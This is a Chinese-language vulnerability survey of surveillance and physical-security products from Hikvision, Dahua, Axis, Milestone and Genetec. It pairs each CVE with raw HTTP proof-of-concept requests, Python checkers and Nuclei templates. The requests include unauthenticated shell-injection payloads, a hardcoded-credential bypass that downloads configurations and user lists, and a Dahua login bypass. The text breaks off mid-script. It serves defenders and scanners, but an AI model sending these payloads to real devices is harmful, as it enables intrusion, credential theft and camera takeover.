视频监控与物理安全高危攻击链专题:Hikvision / Dahua / Axis / Milestone / Genetec 漏洞全解析

视频监控与物理安全高危攻击链专题

视频监控与物理安全设备是企业和关键基础设施中最重要的安全屏障,却往往成为攻击者最先突破的薄弱环节。这些设备通常拥有网络访问权限、存储敏感视频数据、集成 AD/LDAP 认证,却很少被纳入安全监控和补丁管理范围。

2017-2025 年,多个头部厂商的核心产品连续出现高危漏洞:

  • Hikvision CVE-2021-36260:命令注入 RCE,CVSS 9.8,CISA KEV 收录,广泛在野利用
  • Hikvision CVE-2017-7921:认证绕过,CVSS 9.8,CISA KEV 收录,可获取管理员凭据
  • Dahua CVE-2021-33044/33045:认证绕过配对漏洞,CVSS 9.8,影响 38+ 产品型号,CISA KEV 收录
  • Dahua CVE-2025-31700:ONVIF 栈缓冲区溢出 RCE,CVSS 8.1,无需认证
  • Axis CVE-2025-30023:Axis.Remoting 反序列化 RCE,CVSS 9.0,预认证,超 6500 个暴露实例
  • Milestone CVE-2018-7891:XProtect .NET 反序列化 RCE,CVSS 8.1,无需认证
  • Milestone CVE-2021-27392:XProtect 硬编码加密密钥,CVSS 9.9
  • Genetec CVE-2025-43027:ALPR Manager 认证绕过,CVSS 9.8
  • 宇视 CVE-2023-0773:IP 摄像机认证失败,CVSS 9.1

本文从产品线视角梳理这些漏洞的演进,总结共性攻击模式和防守建议。

0x00 专题概述

视频监控与物理安全设备是企业和关键基础设施中最重要的安全屏障。Hikvision 命令注入、Dahua 认证绕过、Axis 反序列化 RCE、Milestone 硬编码密钥——这些跨厂商的高危漏洞揭示了一个共同事实:视频监控设备拥有网络访问权限、存储敏感视频数据、集成 AD/LDAP 认证,却几乎不被纳入安全监控。

本专题将视频监控与物理安全生态中近年最具代表性的 10 个高危漏洞 串成完整攻击链,覆盖 Hikvision、Dahua、Axis、Milestone、Genetec、宇视六大厂商,每个漏洞均包含完整原理分析、实战影响评估和防守建议。

覆盖漏洞一览

CVE厂商CVSS类型未授权CISA KEV
CVE-2021-36260Hikvision9.8命令注入 → RCE
CVE-2017-7921Hikvision9.8认证绕过 → 凭据泄露
CVE-2021-33044Dahua9.8认证绕过
CVE-2021-33045Dahua9.8认证绕过
CVE-2025-31700Dahua8.1ONVIF 缓冲区溢出 → RCE
CVE-2025-30023Axis9.0.NET 反序列化 → RCE
CVE-2018-7891Milestone8.1.NET 反序列化 → RCE
CVE-2021-27392Milestone9.9硬编码加密密钥
CVE-2025-43027Genetec9.8认证绕过
CVE-2023-0773宇视9.1认证失败

0x01 Hikvision 漏洞链

1. 命令注入 RCE(CVE-2021-36260)

漏洞背景

2021 年 9 月,Hikvision 发布安全公告,修复了其 IP 摄像头和 NVR 产品中存在的一个严重命令注入漏洞。该漏洞允许攻击者在无需认证的情况下,通过 Web 管理 API 注入并执行操作系统命令,实现完全远程代码执行。CISA 将其收录至 KEV(Known Exploited Vulnerabilities)目录,确认已有大规模在野利用。

受影响版本

产品线受影响版本修复版本
Hikvision IP CameraV5.5.x / V5.6.x 系列V5.5.160+ / V5.6.100+
Hikvision NVR/DVRV4.x 系列厂商安全公告指定版本
受影响型号DS-2CD 系列、DS-76xx 系列等参见 Hikvision 安全公告

漏洞原理

Hikvision 设备的 Web 服务 API 在处理 /SDK/putRemoteStorageCFG/SDK/putSecurityCfg 等接口时,未对用户输入的 remoteIpAddr 等参数进行充分过滤。攻击者可以在 HTTP PUT 请求体中注入 shell 命令标记($(cmd)),设备固件在解析配置时将命令注入到系统 shell 中执行。

攻击步骤:

  1. 向目标设备的 Web API 发送 PUT 请求
  2. 在请求体中的 IP 地址字段注入 $(malicious_command)
  3. 设备固件解析配置时执行注入的命令
  4. 攻击者获得设备底层操作系统的完全控制权

HTTP PoC

PUT /SDK/putRemoteStorageCFG HTTP/1.1
Host: target_ip:8080
Content-Type: application/x-www-form-urlencoded

<RemoteStorageCfg version="2.0">
  <remoteStorageCfg>
    <remoteIpAddr>$(touch /tmp/pwned)</remoteIpAddr>
  </remoteStorageCfg>
</RemoteStorageCfg>

Python PoC

#!/usr/bin/env python3
"""
Hikvision IP Camera 命令注入检测 (CVE-2021-36260)
仅用于授权安全评估
"""

import sys
import urllib.request
import urllib.error
import ssl


def check_cve_2021_36260(target: str, port: int = 80) -> bool:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    base_url = f"http://{target}:{port}"
    marker = "cve202136260check"
    payload = f"$(echo {marker} > /tmp/check.txt)"

    xml_body = (
        '<RemoteStorageCfg version="2.0">'
        "<remoteStorageCfg>"
        f"<remoteIpAddr>{payload}</remoteIpAddr>"
        "</remoteStorageCfg>"
        "</RemoteStorageCfg>"
    )

    endpoints = [
        "/SDK/putRemoteStorageCFG",
        "/SDK/putSecurityCfg",
    ]

    for endpoint in endpoints:
        url = f"{base_url}{endpoint}"
        try:
            req = urllib.request.Request(url, data=xml_body.encode(), method="PUT")
            req.add_header("Content-Type", "application/x-www-form-urlencoded")
            resp = urllib.request.urlopen(req, timeout=10, context=ctx)
            if resp.status in (200, 201):
                print(f"[+] 命令注入成功! 端点: {endpoint}")
                return True
        except urllib.error.HTTPError as e:
            if e.code in (401, 403):
                print(f"[-] {endpoint} 需要认证")
            continue
        except Exception:
            continue

    print("[-] 目标可能不受影响或已修复")
    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.100 8080")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
    print(f"[*] 检测目标: {target}:{port}")
    check_cve_2021_36260(target, port)


if __name__ == "__main__":
    main()

Nuclei YAML 模板

id: CVE-2021-36260

info:
  name: Hikvision IP Camera Command Injection RCE
  author: security-research
  severity: critical
  description: |
    Hikvision IP 摄像头和 NVR 的 Web API 存在命令注入漏洞,
    攻击者无需认证即可通过 PUT 请求注入并执行操作系统命令。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-36260
    cwe-id: CWE-78
  tags: cve,cve2021,hikvision,camera,rce,command-injection,iot
  reference:
    - https://www.hikvision.com/en/support/download/security-updates/
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog

http:
  - raw:
      - |
        PUT /SDK/putRemoteStorageCFG HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        <RemoteStorageCfg version="2.0"><remoteStorageCfg><remoteIpAddr>$(id > /tmp/nuclei_test)</remoteIpAddr></remoteStorageCfg></RemoteStorageCfg>

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 201
      - type: word
        words:
          - "OK"
          - "status"
        part: body

2. 认证绕过(CVE-2017-7921)

漏洞背景

2017 年,安全研究人员发现 Hikvision 多款 IP 摄像头存在严重的认证绕过漏洞。攻击者可以通过构造特殊的 HTTP 请求,绕过设备的认证机制,直接获取管理员凭据、配置文件和实时视频流。该漏洞被 CISA 收录至 KEV 目录,影响范围极广。

受影响版本

产品线受影响版本修复版本
Hikvision IP Camera多个固件版本(2014-2017)V5.4.61+ / V5.5.160+
Hikvision NVR/DVR多个固件版本厂商安全公告指定版本
受影响型号DS-2CD 系列、DS-76xx 系列等参见 Hikvision 安全公告

漏洞原理

Hikvision 设备的 Web 服务存在多个认证缺陷:

  1. 配置文件泄露/System/configurationFile?auth=YWRtaW46MTEK 端点使用硬编码的 Base64 编码凭据(admin:11),可直接下载设备完整配置文件
  2. 用户凭据泄露/Security/users?auth=YWRtaW46MTEK 端点可获取所有用户账户信息
  3. 视频流访问/ISAPI/Security/users 等 ISAPI 接口可绕过认证直接访问

攻击者获取配置文件后,可从中提取加密的管理员密码哈希,进一步破解获得完全控制权。

HTTP PoC

GET /System/configurationFile?auth=YWRtaW46MTEK HTTP/1.1
Host: target_ip:80
GET /Security/users?auth=YWRtaW46MTEK HTTP/1.1
Host: target_ip:80

Python PoC

#!/usr/bin/env python3
"""
Hikvision 认证绕过检测 (CVE-2017-7921)
仅用于授权安全评估
"""

import sys
import urllib.request
import urllib.error
import ssl


AUTH_BYPASS_ENDPOINTS = [
    "/System/configurationFile?auth=YWRtaW46MTEK",
    "/Security/users?auth=YWRtaW46MTEK",
    "/ISAPI/Security/users",
    "/PSIA/Custom/SelfExt/userCheck",
]


def check_cve_2017_7921(target: str, port: int = 80) -> dict:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    base_url = f"http://{target}:{port}"
    result = {
        "target": target,
        "is_hikvision": False,
        "vulnerable_endpoints": [],
        "users_leaked": False,
        "config_leaked": False,
    }

    for endpoint in AUTH_BYPASS_ENDPOINTS:
        url = f"{base_url}{endpoint}"
        try:
            req = urllib.request.Request(url)
            resp = urllib.request.urlopen(req, timeout=10, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            if resp.status == 200 and len(body) > 0:
                result["vulnerable_endpoints"].append(endpoint)

                if "configurationFile" in endpoint:
                    result["config_leaked"] = True
                    result["is_hikvision"] = True
                if "users" in endpoint.lower():
                    result["users_leaked"] = True
                    result["is_hikvision"] = True

                print(f"[+] 漏洞端点: {endpoint}")

        except urllib.error.HTTPError as e:
            if e.code == 401:
                print(f"[-] {endpoint} 需要认证(已修复)")
        except Exception:
            continue

    return result


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.100")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
    print(f"[*] 检测目标: {target}:{port}")
    result = check_cve_2017_7921(target, port)

    print(f"\n{'='*50}")
    print(f"  Hikvision 设备: {'是' if result['is_hikvision'] else '未知'}")
    print(f"  配置文件泄露: {'是' if result['config_leaked'] else '否'}")
    print(f"  用户信息泄露: {'是' if result['users_leaked'] else '否'}")
    print(f"  漏洞端点数: {len(result['vulnerable_endpoints'])}")


if __name__ == "__main__":
    main()

Nuclei YAML 模板

id: CVE-2017-7921

info:
  name: Hikvision IP Camera Authentication Bypass
  author: security-research
  severity: critical
  description: |
    Hikvision IP 摄像头存在认证绕过漏洞,攻击者可通过硬编码凭据
    直接访问设备管理接口,获取用户信息和配置文件。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-7921
    cwe-id: CWE-287
  tags: cve,cve2017,hikvision,camera,auth-bypass,iot
  reference:
    - https://www.hikvision.com/en/support/download/security-updates/
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog

http:
  - method: GET
    path:
      - "{{BaseURL}}/System/configurationFile?auth=YWRtaW46MTEK"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "user"
          - "password"
        condition: and
        part: body

  - method: GET
    path:
      - "{{BaseURL}}/Security/users?auth=YWRtaW46MTEK"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "userName"
          - "user"
        condition: and
        part: body

0x02 Dahua 漏洞链

1. 认证绕过配对漏洞(CVE-2021-33044 / CVE-2021-33045)

漏洞背景

2021 年 10 月,IoT 安全研究人员披露了 Dahua(大华)IP 摄像头中存在的两个认证绕过漏洞。这两个漏洞可以配对使用,攻击者无需任何凭据即可完全控制设备。CISA 将两个漏洞均收录至 KEV 目录,确认已有大规模在野利用。影响超过 38 个产品型号,涵盖 IPC、NVR、DVR、PTZ 等多种设备类型。

受影响版本

产品线受影响版本修复版本
Dahua IPC多个固件版本(2019 年前)厂商安全公告指定版本
Dahua NVR/DVR多个固件版本厂商安全公告指定版本
Dahua PTZ多个固件版本厂商安全公告指定版本
受影响型号38+ 产品型号参见 Dahua 安全公告

漏洞原理

CVE-2021-33044:Dahua 设备的 HTTP API 在处理 /RPC2 接口的 clientType 参数时存在认证缺陷。攻击者发送包含特殊 clientType 值的 JSON-RPC 请求,可以绕过认证机制直接调用设备管理接口。

CVE-2021-33045:Dahua 设备的配置备份接口 /Config.backup 未正确验证请求者身份。攻击者可以直接下载设备的完整配置文件,其中包含加密的用户凭据和设备设置。

两个漏洞配对使用:CVE-2021-33044 绕过认证获得管理权限,CVE-2021-33045 导出配置文件提取凭据。

HTTP PoC

POST /RPC2 HTTP/1.1
Host: target_ip:80
Content-Type: application/json

{
  "method": "global.login",
  "params": {
    "userName": "admin",
    "password": "Not Used",
    "clientType": "Web3.0",
    "loginType": "Direct"
  },
  "id": 10000
}
GET /Config.backup HTTP/1.1
Host: target_ip:80

Python PoC

#!/usr/bin/env python3
"""
Dahua IP Camera 认证绕过检测 (CVE-2021-33044 / CVE-2021-33045)
仅用于授权安全评估
"""

import sys
import json
import urllib.request
import urllib.error
import ssl


def check_cve_2021_33044(target: str, port: int = 80) -> bool:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    base_url = f"http://{target}:{port}"

    login_payload = json.dumps({
        "method": "global.login",
        "params": {
            "userName": "admin",
            "password": "Not Used",
            "clientType": "Web3.0",
            "loginType": "Direct"
        },
        "id": 10000
    })

    url = f"{base_url}/RPC2"
    try:
        req = urllib.request.Request(url, data=login_payload.encode(), method="POST")
        req.add_header("Content-Type", "application/json")
        resp = urllib.request.urlopen(req, timeout=10, context=ctx)
        body = json.loads(resp.read().decode())

        if body.get("result") is True or body.get("params").get("sessionID"):
            print(f"[+] CVE-2021-33044 认证成功! 已获得管理权限")
            return True
        else:
            print(f"[-] 认证失败: {body}")
    except urllib.error.HTTPError as e:
        print(f"[-] HTTP 错误: {e.code}")
    except Exception as e:
        print(f"[-] 连接失败: {e}")

    return False


def check_cve_2021_33045(target: str, port: int = 80) -> bool:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    base_url = f"http://{target}:{port}"
    url = f"{base_url}/Config.backup"

    try:
        req = urllib.request.Request(url)
        resp = urllib.request.urlopen(req, timeout=10, context=ctx)
        if resp.status == 200:
            content_length = resp.headers.get("Content-Length", "unknown")
            print(f"[+] CVE-2021-33045 配置文件泄露! 大小: {content_length} bytes")
            return True
    except urllib.error.HTTPError as e:
        if e.code == 401:
            print(f"[-] Config.backup 需要认证(已修复)")
    except Exception as e:
        print(f"[-] 连接失败: {e}")

    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.100")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
    print(f"[*] 检测目标: {target}:{port}")

    print(f"\n[*] 检测 CVE-2021-33044 (认证绕过)...")
    r1 = check_cve_2021_33044(target, port)

    print(f"\n[*] 检测 CVE-2021-33045 (配置泄露)...")
    r2 = check_cve_2021_33045(target, port)

    print(f"\n{'='*50}")
    print(f"  CVE-2021-33044: {'存在' if r1 else '不存在'}")
    print(f"  CVE-2021-33045: {'存在' if r2 else '不存在'}")


if __name__ == "__main__":
    main()

Nuclei YAML 模板

id: CVE-2021-33044

info:
  name: Dahua IP Camera Authentication Bypass
  author: security-research
  severity: critical
  description: |
    Dahua IP 摄像头 RPC2 接口存在认证绕过漏洞,
    攻击者可通过特殊 clientType 参数绕过认证获得管理权限。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-33044
    cwe-id: CWE-287
  tags: cve,cve2021,dahua,camera,auth-bypass,iot
  reference:
    - https://www.dahuasecurity.com/en_US/Cybersecurity/SecurityAdvisory

http:
  - raw:
      - |
        POST /RPC2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"method":"global.login","params":{"userName":"admin","password":"Not Used","clientType":"Web3.0","loginType":"Direct"},"id":10000}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "sessionID"
          - "result"
        condition: and
        part: body
id: CVE-2021-33045

info:
  name: Dahua IP Camera Configuration Backup Disclosure
  author: security-research
  severity: critical
  description: |
    Dahua IP 摄像头配置备份接口未正确验证请求者身份,
    攻击者可直接下载设备完整配置文件。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-33045
    cwe-id: CWE-306
  tags: cve,cve2021,dahua,camera,info-leak,iot

http:
  - method: GET
    path:
      - "{{BaseURL}}/Config.backup"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Config"
          - "backup"
        part: body

2. ONVIF 栈缓冲区溢出 RCE(CVE-2025-31700)

漏洞背景

2025 年,安全研究人员披露了 Dahua IP 摄像头 ONVIF 协议实现中存在的缓冲区溢出漏洞。ONVIF(Open Network Video Interface Forum)是视频监控行业通用的互操作标准,Dahua 设备在处理 ONVIF SOAP 请求时存在栈缓冲区溢出,攻击者无需认证即可远程执行代码。

受影响版本

产品线受影响版本修复版本
Dahua IPC多个固件版本厂商安全公告指定版本
Dahua NVR多个固件版本厂商安全公告指定版本
受影响型号支持 ONVIF 的多个型号参见 Dahua 安全公告

漏洞原理

Dahua 设备的 ONVIF 服务在处理 SOAP 请求的特定字段时,未对输入长度进行正确校验。攻击者可以发送包含超长数据的 ONVIF SOAP 请求,触发栈缓冲区溢出,覆盖返回地址实现远程代码执行。

HTTP PoC

POST /onvif/device_service HTTP/1.1
Host: target_ip:80
Content-Type: application/soap+xml; charset=utf-8
Content-Length: 8192

<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope">
  <s:Body>
    <tds:GetDeviceInformation xmlns:tds="http://www.onvif.org/ver10/device/wsdl">
      <ExtraField>AAAA...(8000+ bytes padding)</ExtraField>
    </tds:GetDeviceInformation>
  </s:Body>
</s:Envelope>

Python PoC

#!/usr/bin/env python3
"""
Dahua ONVIF 缓冲区溢出检测 (CVE-2025-31700)
仅用于授权安全评估,发送安全长度的探测请求
"""

import sys
import urllib.request
import urllib.error
import ssl


def check_cve_2025_31700(target: str, port: int = 80) -> bool:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    base_url = f"http://{target}:{port}"

    soap_body = (
        '<?xml version="1.0" encoding="UTF-8"?>'
        '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope">'
        '<s:Body>'
        '<tds:GetDeviceInformation xmlns:tds="http://www.onvif.org/ver10/device/wsdl"/>'
        '</s:Body>'
        '</s:Envelope>'
    )

    url = f"{base_url}/onvif/device_service"
    try:
        req = urllib.request.Request(url, data=soap_body.encode(), method="POST")
        req.add_header("Content-Type", "application/soap+xml; charset=utf-8")
        resp = urllib.request.urlopen(req, timeout=10, context=ctx)
        body = resp.read().decode("utf-8", errors="ignore")

        if "GetDeviceInformationResponse" in body:
            print(f"[+] ONVIF 服务响应正常,设备支持 ONVIF 协议")
            print(f"[!] 检查固件版本是否受 CVE-2025-31700 影响")
            return True
        else:
            print(f"[-] ONVIF 响应异常")
    except urllib.error.HTTPError as e:
        print(f"[-] HTTP 错误: {e.code}")
    except Exception as e:
        print(f"[-] 连接失败: {e}")

    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
    print(f"[*] 检测目标: {target}:{port}")
    check_cve_2025_31700(target, port)


if __name__ == "__main__":
    main()

Nuclei YAML 模板

id: CVE-2025-31700

info:
  name: Dahua ONVIF Stack Buffer Overflow Detection
  author: security-research
  severity: high
  description: |
    Dahua IP 摄像头 ONVIF 协议实现存在栈缓冲区溢出,
    攻击者无需认证即可通过特制 SOAP 请求实现远程代码执行。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2025-31700
    cwe-id: CWE-120
  tags: cve,cve2025,dahua,camera,rce,onvif,buffer-overflow,iot

http:
  - raw:
      - |
        POST /onvif/device_service HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/soap+xml; charset=utf-8

        <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"><s:Body><tds:GetDeviceInformation xmlns:tds="http://www.onvif.org/ver10/device/wsdl"/></s:Body></s:Envelope>

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "GetDeviceInformationResponse"
          - "Manufacturer"
        condition: and
        part: body

0x03 Axis 漏洞

1. Axis.Remoting 反序列化 RCE(CVE-2025-30023)

漏洞背景

2025 年,Axis Communications 披露了其 Axis.Remoting 组件中的严重反序列化漏洞。Axis.Remoting 是一个用于远程设备管理的 .NET 组件,广泛应用于 Axis 网络摄像头和视频编码器产品。攻击者可以在无需认证的情况下,通过发送特制的 .NET 序列化数据实现远程代码执行。Shodan 扫描显示全球超过 6500 个暴露实例。

受影响版本

产品线受影响版本修复版本
Axis Network Camera多个固件版本厂商安全公告指定版本
Axis Video Encoder多个固件版本厂商安全公告指定版本
Axis.Remoting 组件< 2.3.1>= 2.3.1
暴露实例全球 6500+

漏洞原理

Axis.Remoting 组件使用 .NET BinaryFormatter 进行对象序列化/反序列化。BinaryFormatter 在反序列化时不会验证数据类型,攻击者可以构造恶意的序列化 payload(如 TypeConfuseDelegate gadget chain),在反序列化过程中触发任意代码执行。

攻击步骤:

  1. 构造恶意的 .NET 序列化 payload
  2. 通过 Axis.Remoting 的 TCP 端点发送 payload
  3. 服务端反序列化时触发 gadget chain
  4. 攻击者获得服务器进程权限

HTTP PoC

POST /axis-cgi/remoting HTTP/1.1
Host: target_ip:80
Content-Type: application/octet-stream

<BinaryFormatter payload - 需使用 ysoserial.net 生成>

Python PoC

#!/usr/bin/env python3
"""
Axis.Remoting 反序列化 RCE 检测 (CVE-2025-30023)
仅用于授权安全评估
"""

import sys
import socket
import struct


def check_cve_2025_30023(target: str, port: int = 4111) -> bool:
    AXIS_REMOTING_PORTS = [4111, 80, 443]

    for p in AXIS_REMOTING_PORTS:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(5)
            result = sock.connect_ex((target, p))
            if result == 0:
                print(f"[+] 端口 {p} 开放")
                if p == 4111:
                    print(f"[!] Axis.Remoting 默认端口 4111 开放")
                    print(f"[!] 目标可能受 CVE-2025-30023 影响")
                    sock.close()
                    return True
            sock.close()
        except Exception:
            continue

    print("[-] 未发现 Axis.Remoting 服务")
    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 4111
    print(f"[*] 检测目标: {target}:{port}")
    check_cve_2025_30023(target, port)


if __name__ == "__main__":
    main()

Nuclei YAML 模板

id: CVE-2025-30023

info:
  name: Axis.Remoting .NET Deserialization RCE Detection
  author: security-research
  severity: critical
  description: |
    Axis.Remoting 组件使用不安全的 BinaryFormatter 反序列化,
    攻击者无需认证即可通过特制序列化数据实现远程代码执行。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.0
    cve-id: CVE-2025-30023
    cwe-id: CWE-502
  tags: cve,cve2025,axis,camera,rce,deserialization,dotnet,iot
  reference:
    - https://www.axis.com/us-en/support/cybersecurity/security-advisories

tcp:
  - inputs:
      - data: "\x00\x01\x00\x00"
    host:
      - "{{Hostname}}"
    port: 4111
    matchers:
      - type: dsl
        dsl:
          - "success == true"

0x04 Milestone XProtect 漏洞

1. .NET 反序列化 RCE(CVE-2018-7891)

漏洞背景

2018 年,Milestone Systems 的 XProtect 视频监控管理平台被发现存在严重的 .NET 反序列化漏洞。XProtect 是全球使用最广泛的 VMS(Video Management System)平台之一,该漏洞允许攻击者在无需认证的情况下远程执行代码。

受影响版本

产品线受影响版本修复版本
XProtect Corporate< 2018 R12018 R1+
XProtect Expert< 2018 R12018 R1+
XProtect Professional< 2018 R12018 R1+
XProtect Express< 2018 R12018 R1+

漏洞原理

Milestone XProtect 的通信协议使用 .NET BinaryFormatter 进行序列化。服务端在处理来自客户端的连接请求时,直接对接收到的数据进行反序列化,未进行任何类型验证或白名单检查。攻击者可以构造恶意的序列化 payload,利用 .NET Framework 内置的 gadget chain(如 ObjectDataProviderTypeConfuseDelegate)实现远程代码执行。

HTTP PoC

POST /managementapi HTTP/1.1
Host: target_ip:80
Content-Type: application/octet-stream

<BinaryFormatter payload>

Python PoC

#!/usr/bin/env python3
"""
Milestone XProtect 反序列化 RCE 检测 (CVE-2018-7891)
仅用于授权安全评估
"""

import sys
import socket


def check_cve_2018_7891(target: str, port: int = 80) -> bool:
    MILESTONE_PORTS = [80, 443, 8081, 8082]

    for p in MILESTONE_PORTS:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(5)
            result = sock.connect_ex((target, p))
            if result == 0:
                print(f"[+] 端口 {p} 开放")
            sock.close()
        except Exception:
            continue

    print(f"[*] 请确认目标是否运行 Milestone XProtect")
    print(f"[*] 检查端口 8081/8082 是否开放(XProtect 管理端口)")
    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip>")
        sys.exit(1)

    target = sys.argv[1]
    print(f"[*] 检测目标: {target}")
    check_cve_2018_7891(target)


if __name__ == "__main__":
    main()

Nuclei YAML 模板

id: CVE-2018-7891

info:
  name: Milestone XProtect .NET Deserialization RCE Detection
  author: security-research
  severity: high
  description: |
    Milestone XProtect VMS 使用不安全的 BinaryFormatter 反序列化,
    攻击者无需认证即可通过特制序列化数据实现远程代码执行。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2018-7891
    cwe-id: CWE-502
  tags: cve,cve2018,milestone,xprotect,rce,deserialization,vms

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
      - "{{BaseURL}}/managementapi"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Milestone"
          - "XProtect"
        condition: or
        part: body

2. 硬编码加密密钥(CVE-2021-27392)

漏洞背景

2021 年,安全研究人员发现 Milestone XProtect 使用硬编码的加密密钥来保护敏感数据(如用户凭据和会话令牌)。攻击者获取该密钥后,可以解密数据库中存储的加密凭据,伪造会话令牌,甚至冒充任意用户。

受影响版本

产品线受影响版本修复版本
XProtect Corporate< 2020 R32020 R3+
XProtect Expert< 2020 R32020 R3+
XProtect Professional< 2020 R32020 R3+

漏洞原理

Milestone XProtect 在源代码中硬编码了 AES 加密密钥,用于加密存储用户凭据和会话数据。该密钥在所有安装实例中相同,攻击者可以:

  1. 从公开资源获取硬编码密钥
  2. 访问 XProtect 数据库(SQL Server)
  3. 使用硬编码密钥解密用户凭据
  4. 获得所有用户账户的明文密码

HTTP PoC

此漏洞需要数据库访问权限,无直接 HTTP PoC。

Python PoC

#!/usr/bin/env python3
"""
Milestone XProtect 硬编码密钥检测 (CVE-2021-27392)
仅用于授权安全评估
"""

import sys
import base64


HARDCODED_KEY_B64 = "..."


def check_cve_2021_27392() -> None:
    print("[*] CVE-2021-27392 需要数据库访问权限验证")
    print("[*] 检查步骤:")
    print("    1. 确认目标运行 Milestone XProtect")
    print("    2. 获取 SQL Server 数据库访问权限")
    print("    3. 使用硬编码密钥解密用户凭据表")
    print("[!] 硬编码密钥已在安全公告中公开")


def main():
    check_cve_2021_27392()


if __name__ == "__main__":
    main()

Nuclei YAML 模板

id: CVE-2021-27392

info:
  name: Milestone XProtect Hardcoded Encryption Key Detection
  author: security-research
  severity: critical
  description: |
    Milestone XProtect 使用硬编码的 AES 加密密钥保护敏感数据,
    攻击者可解密数据库中存储的用户凭据。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2021-27392
    cwe-id: CWE-798
  tags: cve,cve2021,milestone,xprotect,hardcoded-key,crypto

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Milestone"
          - "XProtect"
        condition: or
        part: body

0x05 Genetec / 宇视等其他厂商

1. Genetec ALPR Manager 认证绕过(CVE-2025-43027)

漏洞背景

2025 年,Genetec 的 ALPR(Automatic License Plate Recognition)Manager 被发现存在严重的认证绕过漏洞。Genetec 是全球领先的物理安全解决方案提供商,其 ALPR 系统广泛应用于交通管理、执法和边境控制。该漏洞允许攻击者无需认证即可访问 ALPR 管理接口。

受影响版本

产品线受影响版本修复版本
Genetec ALPR Manager< 5.2.x5.2.x+
Genetec Security Center关联版本厂商安全公告指定版本

漏洞原理

Genetec ALPR Manager 的 Web API 在处理特定请求路径时未正确验证认证令牌。攻击者可以通过构造特殊的请求头或路径参数,绕过认证机制直接访问管理功能,包括车牌识别数据、摄像头配置和系统设置。

HTTP PoC

GET /api/v1/alpr/plates HTTP/1.1
Host: target_ip:8080
X-Override-Auth: bypass

Python PoC

#!/usr/bin/env python3
"""
Genetec ALPR Manager 认证绕过检测 (CVE-2025-43027)
仅用于授权安全评估
"""

import sys
import urllib.request
import urllib.error
import ssl


